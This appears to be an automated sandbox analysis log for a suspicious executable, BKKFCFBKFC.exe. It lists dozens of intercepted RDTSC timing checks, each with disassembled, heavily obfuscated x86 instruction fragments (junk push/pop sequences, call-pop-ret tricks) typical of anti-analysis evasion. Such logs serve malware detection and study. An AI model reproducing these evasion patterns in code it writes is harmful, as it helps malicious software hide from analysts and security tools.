Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 201766 second address: 20177C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F3EBCCB146Eh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2006E5 second address: 200703 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3EBCB3DBE3h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 200703 second address: 20070F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3EBCCB1466h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 1F0CDC second address: 1F0CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2009B5 second address: 2009BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2009BA second address: 2009C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2009C0 second address: 2009CA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3EBCCB1466h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 200DEE second address: 200DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F3EBCB3DBD6h 0x0000000e rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 200F28 second address: 200F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 200F2E second address: 200F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203776 second address: 20377A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 20377A second address: 20379E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F3EBCB3DBDDh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jp 00007F3EBCB3DBE4h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 20379E second address: 2037A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2037A2 second address: 8EB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F3EBCB3DBD8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 jnp 00007F3EBCB3DBDCh 0x00000027 sub dword ptr [ebp+122D2BA6h], esi 0x0000002d jmp 00007F3EBCB3DBE2h 0x00000032 push dword ptr [ebp+122D04EDh] 0x00000038 mov dword ptr [ebp+122D3692h], eax 0x0000003e call dword ptr [ebp+122D36D2h] 0x00000044 pushad 0x00000045 add dword ptr [ebp+122D2BA1h], ebx 0x0000004b xor eax, eax 0x0000004d sub dword ptr [ebp+122D2BA1h], ebx 0x00000053 mov edx, dword ptr [esp+28h] 0x00000057 sub dword ptr [ebp+122D3282h], eax 0x0000005d mov dword ptr [ebp+122D37A7h], eax 0x00000063 mov dword ptr [ebp+122D2001h], edx 0x00000069 mov esi, 0000003Ch 0x0000006e or dword ptr [ebp+122D1F1Eh], esi 0x00000074 add esi, dword ptr [esp+24h] 0x00000078 js 00007F3EBCB3DBDCh 0x0000007e or dword ptr [ebp+122D3282h], edi 0x00000084 cmc 0x00000085 lodsw 0x00000087 mov dword ptr [ebp+122D2BA1h], esi 0x0000008d add eax, dword ptr [esp+24h] 0x00000091 mov dword ptr [ebp+122D1FF0h], esi 0x00000097 mov ebx, dword ptr [esp+24h] 0x0000009b ja 00007F3EBCB3DBDEh 0x000000a1 nop 0x000000a2 push eax 0x000000a3 push edx 0x000000a4 jmp 00007F3EBCB3DBE8h 0x000000a9 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203807 second address: 20380B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 20380B second address: 203828 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203828 second address: 203862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3EBCCB1470h 0x00000008 jne 00007F3EBCCB1466h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov dword ptr [ebp+122D3282h], ecx 0x0000001a push 00000000h 0x0000001c push BB46C324h 0x00000021 push eax 0x00000022 push edx 0x00000023 jp 00007F3EBCCB146Ch 0x00000029 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203862 second address: 203868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203868 second address: 203900 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 44B93D5Ch 0x0000000f mov esi, ecx 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F3EBCCB1468h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push 00000003h 0x00000031 jmp 00007F3EBCCB1470h 0x00000036 push 97085616h 0x0000003b pushad 0x0000003c jmp 00007F3EBCCB1475h 0x00000041 push esi 0x00000042 jmp 00007F3EBCCB1471h 0x00000047 pop esi 0x00000048 popad 0x00000049 add dword ptr [esp], 28F7A9EAh 0x00000050 mov dword ptr [ebp+122D1FF6h], edi 0x00000056 lea ebx, dword ptr [ebp+12448659h] 0x0000005c mov dl, 21h 0x0000005e mov ecx, ebx 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push edi 0x00000064 pushad 0x00000065 popad 0x00000066 pop edi 0x00000067 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203956 second address: 20395C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 20395C second address: 203962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203962 second address: 20399C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3EBCB3DBDDh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F3EBCB3DBDDh 0x0000001a jmp 00007F3EBCB3DBDFh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 20399C second address: 2039B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007F3EBCCB1466h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F3EBCCB146Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2039B4 second address: 2039B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2039B8 second address: 203A56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F3EBCCB146Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push ecx 0x00000013 jo 00007F3EBCCB1466h 0x00000019 pop ecx 0x0000001a jnp 00007F3EBCCB1477h 0x00000020 jmp 00007F3EBCCB1471h 0x00000025 popad 0x00000026 pop eax 0x00000027 movsx ecx, bx 0x0000002a push 00000003h 0x0000002c push ecx 0x0000002d mov cx, di 0x00000030 pop ecx 0x00000031 push 00000000h 0x00000033 jo 00007F3EBCCB146Ch 0x00000039 add dword ptr [ebp+122D34FAh], eax 0x0000003f push 00000003h 0x00000041 ja 00007F3EBCCB1468h 0x00000047 call 00007F3EBCCB1469h 0x0000004c push esi 0x0000004d push ebx 0x0000004e jmp 00007F3EBCCB1478h 0x00000053 pop ebx 0x00000054 pop esi 0x00000055 push eax 0x00000056 jbe 00007F3EBCCB1473h 0x0000005c jmp 00007F3EBCCB146Dh 0x00000061 mov eax, dword ptr [esp+04h] 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203A56 second address: 203A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203A5A second address: 203A6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1470h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203A6E second address: 203AF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ecx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jl 00007F3EBCB3DBD6h 0x00000015 popad 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jmp 00007F3EBCB3DBDAh 0x00000020 pop eax 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F3EBCB3DBD8h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000016h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b mov dword ptr [ebp+122D36B3h], ebx 0x00000041 sbb dl, FFFFFF93h 0x00000044 lea ebx, dword ptr [ebp+12448662h] 0x0000004a mov edx, 52BEDCD1h 0x0000004f xchg eax, ebx 0x00000050 jnp 00007F3EBCB3DBE8h 0x00000056 push eax 0x00000057 pushad 0x00000058 jbe 00007F3EBCB3DBD8h 0x0000005e push eax 0x0000005f push edx 0x00000060 jbe 00007F3EBCB3DBD6h 0x00000066 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203AF7 second address: 203AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 203BFC second address: 203C9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 35BF26A6h 0x00000010 mov dword ptr [ebp+122D1F1Eh], edx 0x00000016 push 00000003h 0x00000018 mov cl, bh 0x0000001a push 00000000h 0x0000001c jmp 00007F3EBCB3DBE9h 0x00000021 push 00000003h 0x00000023 mov dword ptr [ebp+122D2C12h], eax 0x00000029 call 00007F3EBCB3DBD9h 0x0000002e push eax 0x0000002f push eax 0x00000030 pushad 0x00000031 popad 0x00000032 pop eax 0x00000033 pop eax 0x00000034 push eax 0x00000035 push esi 0x00000036 pushad 0x00000037 jmp 00007F3EBCB3DBE9h 0x0000003c jmp 00007F3EBCB3DBE7h 0x00000041 popad 0x00000042 pop esi 0x00000043 mov eax, dword ptr [esp+04h] 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F3EBCB3DBE3h 0x0000004e rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 215AEA second address: 215B11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB146Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F3EBCCB1472h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 222A1E second address: 222A29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 222A29 second address: 222A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F3EBCCB146Ah 0x0000000b popad 0x0000000c push edx 0x0000000d jmp 00007F3EBCCB146Dh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 222D1D second address: 222D38 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3EBCB3DBD6h 0x00000008 jmp 00007F3EBCB3DBE1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 222D38 second address: 222D4E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3EBCCB146Ch 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 223140 second address: 22314E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F3EBCB3DBD6h 0x0000000e rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 223A31 second address: 223A41 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 223A41 second address: 223A4D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3EBCB3DBDEh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 223BD9 second address: 223BF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1473h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 223BF0 second address: 223C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBDDh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22416A second address: 224181 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1473h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 224181 second address: 224199 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F3EBCB3DBD6h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F3EBCB3DBDAh 0x00000013 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22977D second address: 229782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 229C26 second address: 229C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007F3EBCB3DBD6h 0x0000000e jne 00007F3EBCB3DBD6h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3EBCB3DBE1h 0x0000001f rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 229C51 second address: 229C55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 228D9A second address: 228DB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F3EBCB3DBD6h 0x00000013 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 229ED6 second address: 229F30 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F3EBCCB1474h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jmp 00007F3EBCCB1473h 0x0000001b ja 00007F3EBCCB1468h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F3EBCCB1475h 0x0000002d rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 229F30 second address: 229F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22EB6D second address: 22EB73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22ECEA second address: 22ECEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22EEC9 second address: 22EEE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1475h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22F31A second address: 22F326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F3EBCB3DBD6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22F326 second address: 22F334 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22F334 second address: 22F345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCB3DBDDh 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22F49B second address: 22F4A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22F4A3 second address: 22F4A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22F4A8 second address: 22F4C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3EBCCB146Fh 0x0000000e rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22F61C second address: 22F624 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22F624 second address: 22F639 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007F3EBCCB1466h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 22F639 second address: 22F63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 23240F second address: 232413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 232B5E second address: 232B74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 232B74 second address: 232B86 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a jnp 00007F3EBCCB146Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 23315E second address: 233195 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3EBCB3DBD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F3EBCB3DBD8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push eax 0x00000028 push ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b jnc 00007F3EBCB3DBD6h 0x00000031 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 233195 second address: 233199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 233260 second address: 23327A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3EBCB3DBE5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2337D7 second address: 2337DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 233D5B second address: 233D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3EBCB3DBE4h 0x0000000d rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 233E45 second address: 233E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F3EBCCB1466h 0x0000000a rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 233E4F second address: 233E5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 233E5F second address: 233E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 235937 second address: 235941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3EBCB3DBD6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 235941 second address: 235958 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F3EBCCB1474h 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F3EBCCB1466h 0x00000017 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2383C3 second address: 2383C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	RDTSC instruction interceptor: First address: 2383C7 second address: 2383CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
